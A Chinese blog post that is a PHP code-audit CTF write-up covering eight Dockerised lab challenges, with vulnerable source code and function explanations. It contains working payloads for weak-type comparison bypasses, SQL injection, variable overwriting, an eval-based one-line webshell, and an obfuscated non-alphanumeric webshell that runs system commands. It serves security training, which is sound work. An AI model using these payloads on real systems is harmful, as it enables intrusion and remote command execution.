freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

PHP代码审计之CTF系列(1)
2020-02-26 13:30:35

PHP代码审计之CTF系列(1)


采用github yaofeifly师傅的PHP练习。每个内容均采用docker。部署过程:进入对应的docker_env,使用

docker-compose build
docker-compose up -d

进入对应docker进程,查看地址访问即可。

challenge 1

访问地址,发现源码

1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=
<?php

error_reporting(0);
require __DIR__.'/lib.php';

echo base64_encode(hex2bin(strrev(bin2hex($flag)))), '<hr>';

highlight_file(__FILE__);

题目给出字符串:

1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=

页面给定相关的加密代码,进行反解。

编写解密函数方法:

<?php

$str = "1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=";

echo hex2bin(strrev(bin2hex(base64_decode($str))));

?>

即可得到image

补充:

bin2hex() 函数把 ASCII 字符的字符串转换为十六进制值。

strrev() 函数反转字符串。

hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。

challenge 2

题目内容:

<?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['time'])){
    if(!is_numeric($_GET['time'])){
        echo 'The time must be number.';
    }else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){
        echo 'This time is too short.';
    }else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){
        echo 'This time is too long.';
    }else{
        sleep((int)$_GET['time']);
        echo $flag;
    }
    echo '<hr>';
}
highlight_file(__FILE__);

可以看出,如果想要得到flag,需要大于5184000并且小于7776000,但是发现得到flag之前会执行输入时间的sleep,怕不是要等到猴年马月了。

所以思路选择弱比较。

<?php
echo 6e6;
echo "\n";
echo (int)'6e6';
?>

得出结果:image

补充:

1、当一个字符串被当作一个数值来取值,其结果和类型如下:如果该字符串没有包含’.',’e',’E'并且其数值值在整形的范围之内,该字符串被当作int来取值。其他所有情况下都被作为float来取值,该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。

2、在进行比较运算时,如果遇到了0e这类字符串,PHP会将它解析为科学计数法。(也就是说只靠最前面的进行判断)

3、在进行比较运算时,如果遇到了0x这类字符串,PHP会将它解析为十六进制。

challenge 3

题目内容:

image

访问后发现没有什么内容,查看一下源码。

image

发现存在challenge3.txt文件,尝试访问。

发现源码

<?php
error_reporting(0);
echo "<!--challenge3.txt-->";
require __DIR__.'/lib.php';
if(!$_GET['id'])
{
    header('Location: challenge3.php?id=1');
    exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
    echo 'Hahahahahaha';
    return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
    echo $flag;
}
else
{
    print "work harder!harder!harder!";
}
?>
stripos()

stripos()函数:查找字符串在另一字符串中第一次出现的位置(不区分大小写)

strpos() - 查找字符串在另一字符串中第一次出现的位置(区分大小写)

strrpos() - 查找字符串在另一字符串中最后一次出现的位置(区分大小写)

stripos()函数返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。字符串位置从 0 开始,不是从 1 开始。


file_get_contents()

file_get_contents()函数:把整个文件读入一个字符串中,加上@是屏蔽对应的错误

PHP中fopen,file_get_contents,curl函数的区别:

1、fopen/file_get_contents 每次请求都会重新做DNS查询,并不对 DNS信息进行缓存。但是CURL会自动对DNS信息进行缓存。对同一域名下的网页或者图片的请求只需要一次DNS查询。这大大减少了DNS查询的次数。所以CURL的性能比fopen /file_get_contents 好很多。

2、fopen /file_get_contents 在请求HTTP时,使用的是http_fopen_wrapper,不会keeplive。而curl却可以。这样在多次请求多个链接时,curl效率会好一些。

3、fopen / file_get_contents 函数会受到php.ini文件中allow_url_open选项配置的影响。如果该配置关闭了,则该函数也就失效了。而curl不受该配置的影响。

4、curl 可以模拟多种请求,例如:POST数据,表单提交等,用户可以按照自己的需求来定制请求。而fopen / file_get_contents只能使用get方式获取数据。

eregi()

eregi()函数:在一个字符串中搜索指定的模式的字符串,搜索不区分大小写。eregi()可以特别有用的检查有效字符串,如密码。

题目

观察完代码后发现为php弱类型绕过。

首先$data通过读取$a,进行POST传递。

当$a为php://input,$data可以通过php://input来接受post数据。

$id传一个字符进去,会被转化为0。

对于$b,要求长度大于5,其次满足eregi()函数的要求(也就是截取$b的第一个字符与'111'拼接,和'1114'进行对比)和首字符不为4。

可以设置$b为%00111111,这样,substr()会发生截断,在匹配时进行eregi('111','1114')满足,同时%00不会对strlen()造成影响。

构造payload:

?id=a&a=php://input&b=%00111111
1112 is a nice lab!

image

challenge4

打开后发现源码

<?php 
error_reporting(0);
show_source(__FILE__);

$a = @$_REQUEST['hello'];
eval("var_dump($a);");

发现可构造php一句话木马

构造paypoad:

?hello=);eval($_POST['A']);%2f%2f

当var_dump($a);后的结果为:

string(22) ");eval($_POST['A']);//"

与前面代码进行拼凑后为:

eval("string(21) ");eval($_POST['A']);//"");

使用菜刀连接image

image

challenge5

打开页面,点击View the source code,查看登陆逻辑源码内容

<?php
if (isset($_GET['name']) and isset($_GET['password'])) {
    if ($_GET['name'] == $_GET['password'])
        echo '<p>Your password can not be your name!</p>';
    else if (sha1($_GET['name']) === sha1($_GET['password']))
      die('Flag: '.$flag);
    else
        echo '<p>Invalid password.</p>';
}
else{
    echo '<p>Login first!</p>';
?>
isset()

isset()函数:检测变量是否设置

题目

发现登陆逻辑要求,name和password不能相同,但之后的sha1判断又使用了===,所以不存在所类型比较的问题。

其中sha1不能处理数组,当传入name[]=1&password[]=2时,会造成sha1(Array)=sha1(Array),即NULL===NULL,从而获取flag。

测试:

<?php
$name = $_GET['name'];
var_dump(@sha1($name));

?>

image

结果为NULL

构造payload:

?name[]=1&password[]=2

image

challenge6

访问地址

image

查看源码,发现source.txt

<html>
<head>
    welcome to simplexue
</head>
<body>
<form method=post action=challenge6.php>
    <input type=text name=user value="Username">
    <input type=password name=pass value="Password">
    <input type=submit>
</form>
</body>
<a href="source.txt">
</html>

访问发现源码

<?php
if($_POST[user] && $_POST[pass]) {
    $conn = mysql_connect("********", "*****", "********");
    mysql_select_db("challenges") or die("Could not select database");
    if ($conn->connect_error) {
        die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);
$sql = "select pwd from interest where uname='$user'";
$query = mysql_query($sql);
if (!$query) {
    printf("Error: %s\n", mysql_error($conn));
    exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pwd"];
  if (($row[pwd]) && (!strcasecmp($pass, $row[pwd]))) {
    echo "<p>Logged in! Key:************** </p>";
}
else {
    echo("<p>Log in failure!</p>");
  }
}
?>
mysql_fetch_array()

mysql_fetch_array():从结果集中取得一行作为数字数组或关联数组

strcasecmp()

strcasecmp():比较两个字符串(不区分大小写)

题目

发现查询用户处的sql语句没有进行过滤,存在sql注入

构造payload:

 user=' union select "0e830400451993494058024219903391"

构成的sql语句为:

 select pwd from interest where uname=' ' union select "0e830400451993494058024219903391"

第一个查询结果为空,返回值为0e830400451993494058024219903391

所以$row[pw]=0e830400451993494058024219903391

而md5(QNKCDZO)正是0e830400451993494058024219903391

最后payload:

 user=' union select "0e830400451993494058024219903391"#&pass=QNKCDZO

challenge 8

打开发现没有任何提示,扫描文件,发现challenge7.txt

发现源码

<?php
include "flag.php";
$_403 = "Access Denied";
$_200 = "Welcome Admin";
if ($_SERVER["REQUEST_METHOD"] != "POST")
    die("BugsBunnyCTF is here :p...");
if ( !isset($_POST["flag"]) )
    die($_403);
foreach ($_GET as $key => $value)
    $$key = $$value;
foreach ($_POST as $key => $value)
    $$key = $value;
if ( $_POST["flag"] !== $flag )
    die($_403);
echo "This is your flag : ". $flag . "\n";
die($_200);

发现其中为变量覆盖漏洞。

$_SERVER["REQUEST_METHOD"]

$_SERVER["REQUEST_METHOD"]是指表单提交的方式为,GET或POST

foreach

foreach:循环结构,是遍历数组时常用的方法,foreach仅能够应用于数组和对象,如果尝试其他类型的变量或者末初始化的变量将发出错误信息。

两种语法:

//格式1
foreach (array_expression as $value){
        statement
    }
//格式2
    foreach (array_expression as $key => $value){
        statement
    }

第一种格式遍历:

array_expression数组时,每次循环将数组的值赋给$value

第二种格式遍历:

不仅将数组赋给$value,还将键名赋给$key

比如:

<?php
$array = [0, 1, 2];
foreach ($array as $val){
    echo "值是:" . $val ;
    echo "<br/>";
     //var_dump(current($array));
}
foreach ($array as $key => $value) {
    echo "键名是:" . $key . "值是:" . $value;
    echo "<br/>";
}
?>

结果为:

值是:0
值是:1
值是:2
键名是:0值是:0
键名是:1值是:1
键名是:2值是:2
foreach在PHP5和PHP7中的区别:

在PHP 5中,当foreach开始循环执行时,每次数组内部的指针都会自动向后移动一个单元,但在PHP 7中则不是。

比如:

<?php
        $array = [0, 1, 2];
        foreach ($array as $val){
            var_dump(current($array));
        }
        ?>

在PHP 5中输出结果为:

int(0) int(1) int(2)

但在PHP 7中输出结果为:

int(0) int(0) int(0)

在PHP 7中,按照值进行循环时,foreach是对数组的复制操作,在循环过程中对数组的修改不会影响循环行为,但在PHP 5中会有影响。

比如:

<?php
        $array = [0, 1, 2];
        //$ref =& $array; // Necessary to trigger the old behavior
        foreach ($array as $val) {
            var_dump($val);
            unset($array[1]);
        }
        ?>

在PHP 7中输出结果为:

int(0) int(1) int(2)

在PHP 5中输出结果为:

int(0) int(2)

在PHP 7中按照引用循环的时候对数组的修改会影响循环,在PHP 5中则不会改变

比如:

<?php
        $array = [0];
        foreach ($array as &$val) {
            var_dump($val);
            $array[1] = 1;
            $array[2] = 2;
        }
        ?>

在PHP 7中运行结果:

int(0) int(1) int(2)

在PHP 5中运行结果:

int(0)
die()

die()函数:输出一条信息,并退出当前脚本。

该函数为exit()函数的别名。

语法:die(status)

如果status是字符串,则该函数会在退出输出字符串。

如果status是整数,这个值就会被用作退出状态。退出状态的值在0~254之间。退出状态255由PHP保留,不会被使用,状态0用于成功的终止程序。

注意:如果PHP的版本号大于4.2.0,那么在stasus是整数的情况下,不会输出该数字。

变量覆盖漏洞:

其中经常导致的有:$$,extract()函数,parse_str()函数,import_request_variables()使用不当,开启了全局变量注册等。

  • 全局变量覆盖:register_globals的意思是注册为全局变量,当其为On的时候,传递过的值会直接被全局变量所使用,而Off的时候,需要到特定的数组中得到。

  • $$导致的变量覆盖问题:使用foreach来遍历数组数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。因此产生了变量覆盖漏洞。

  • extract()变量覆盖:函数从数组中将变量导入当前的符号表。该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号中创建对应的一个便变量。 在调用extract()时使用EXTR_SKIP保证已有变量不会被覆盖。 extract($_GET,EXTR_SKIP)

  • parse_str()变量覆盖:parse_str()函数把查询字符串解析到变量中,如果没有array参数,则由该函数设置的变量将覆盖已有的同名变量。parse_str()类似的函数还有mb_parse_str(),用法基本一直。

  • import_request_variables变量覆盖:import_request_variables函数可以在register_global=off时,把GET/POST/Cookie变量导入全局作用域中。


题目分析

明白原理后,观察程序

要求在POST语句中有flag,同时在第二个foreach中又把$flag直接覆盖,所以可以确定,通过echo语句输出的flag是被修改过的。

观察其他部分。

1、发现die($_200),结合第一个foreach的功能,可以在第二个foreach之前先将$_200的值覆盖为原flag的值。

构造payload:

?_200=flag

 POST:
 flag=1

image

2、发现die(_$403),同样把原flag的值覆盖到$_403上,然后构造$_POST["flag"] != $flag,从而die($403)输出结果。

构造payload:

?_403=flag&POST=1

    POST:
    flag=

image

challenge 8

打开之后,发现PHP逻辑源码

<?php
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
if(!isset($_GET['c'])){
    show_source(__FILE__);
    die();
}
function rand_string( $length ) {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
    $size = strlen( $chars );
    $str = '';
    for( $i = 0; $i < $length; $i++)
   {
       $str .= $chars[ rand( 0, $size - 1 ) ];
   }
    return $str;
}
$data = $_GET['c'];
$black_list = array(' ', '!', '"', '#', '%', '&', '*', ',', '-', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', '<', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '\\', '^', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '|', '~');
foreach ($black_list as $b) {
    if (stripos($data, $b) !== false){
        die("WAF!");
    }
}
$filename=rand_string(0x20).'.php';
$folder='uploads/';
$full_filename = $folder.$filename;
if(file_put_contents($full_filename, '<?php '.$data)){
    echo "<a href='".$full_filename."'>WebShell</a></br>";
    echo "Enjoy your webshell~";
}else{
    echo "Some thing wrong...";
}
?>
ini_set

PHP ini_set用来设置php.ini的值,在函数执行时生效,脚本结束后,设置失效。不需要打开php.ini文件就可以修改。

常见的设置:

@ini_set('memory_limit','64M'):设置一个脚本所能够申请到的最大内存字节数。@符号表示不输出错误

@ini_set('display_errors','1'):设置错误信息的类别

@ini_set('session.auto_start','0'):是否自动开session处理,设置为1时,程序不用session_start()来手动开启session也可使用session。设置为0时,如果没有手动开启session,就会报错

@ini_set('session.cache_expire',180):指定会话页面在客户端cache中的有限期(分钟)缺省值为180分钟,如果设置了session.cache_limiter=nocache时,此处设置无效。

@ini_set('session.use_cookies','1'):是否使用cookie在客户端保存会话ID。

@ini_set('session.use_trans_sid','0'):是否使用明码在URL中显示SID(会话ID),默认是禁止状态。
error_reporting()函数

error_reporting()函数规定报告哪个错误。该函数设置当前脚本的错误报告级别。该函数返回旧的错误报告级别。

规定不停的错误级别报告:

<?php
 // 关闭错误报告
 error_reporting(0);

 // 报告 runtime 错误
 error_reporting(E_ERROR | E_WARNING | E_PARSE);

 // 报告所有错误
 error_reporting(E_ALL);

 // 等同 error_reporting(E_ALL);
 ini_set("error_reporting", E_ALL);

 // 报告 E_NOTICE 之外的所有错误
 error_reporting(E_ALL & ~E_NOTICE);
?>
file_put_contents()函数

file_put_contents()函数把一个字符串写入文件中。该函数访问文件时,遵循一下规则:

1、如果设置了 FILE_USE_INCLUDE_PATH,那么将检查 *filename* 副本的内置路径
2、如果文件不存在,将创建一个文件
3、打开文件
4、如果设置了 LOCK_EX,那么将锁定文件
5、如果设置了 FILE_APPEND,那么将移至文件末尾。否则,将会清除文件的内容
6、向文件中写入数据
7、关闭文件并对所有文件解锁

如果成功,该函数将返回写入文件中的字符数。如果失败,则返回 False。

题目

分析逻辑源码,发现总体代码可以分成两大部分。

第一部分对生成的文件进行命名处理,第二部分则是对内容的过滤,也就是WAF。

观察过滤内容,发现过滤了大部分字符、数字、字母。

所以这个地方应该使用PHP中异或的用法,查看了p师傅等几个师傅的文章。

简单来说就是通过对两个字符串转化为ASCII值,再将ASCII值转换成二进制,然后在进行异或,异或完将结果再次从二进制转化为ASCII值,最后转化成字符串

比如:

<?php
    echo "A"^"?";
?>

运行结果:~
<?php
    @$_++; // $_ = 1
    $__=("#"^"|"); // $__ = _
    $__.=("."^"~"); // _P
    $__.=("/"^"`"); // _PO
    $__.=("|"^"/"); // _POS
    $__.=("{"^"/"); // _POST 
    ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

构造payload:

<?php
$_=[].[];
$__='';
$_=$_[''];
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$__.=$_; // E
$_=++$_;
$_=++$_;
$__=$_.$__; // GE
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$__.=$_; // GET
var_dump(${'_'.$__}[_](${'_'.$__}[__])); // $_GET['_']($_GET['__']);

定义两个空数组,取产生的字符串'ArrayArray',然后依次从A开始取,使参数$_进行自加,也就是'A'+'A'='B'。拼凑GET,最后使用同样方法构造。

最后对其进行url编码

完整payload:

?c=%24_%3d%5b%5d.%5b%5d%3b%24__%3d%27%27%3b%24_%3d%24_%5b%27%27%5d%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__%3d%24_.%24__%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24%7b%27_%27.%24__%7d%5b_%5d(%24%7b%27_%27.%24__%7d%5b__%5d)%3b

使用刚刚定义的参数_和__进行命令执行

?_=system&__=cat%20../flag.php

image

# php # 代码审计 # CTF
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者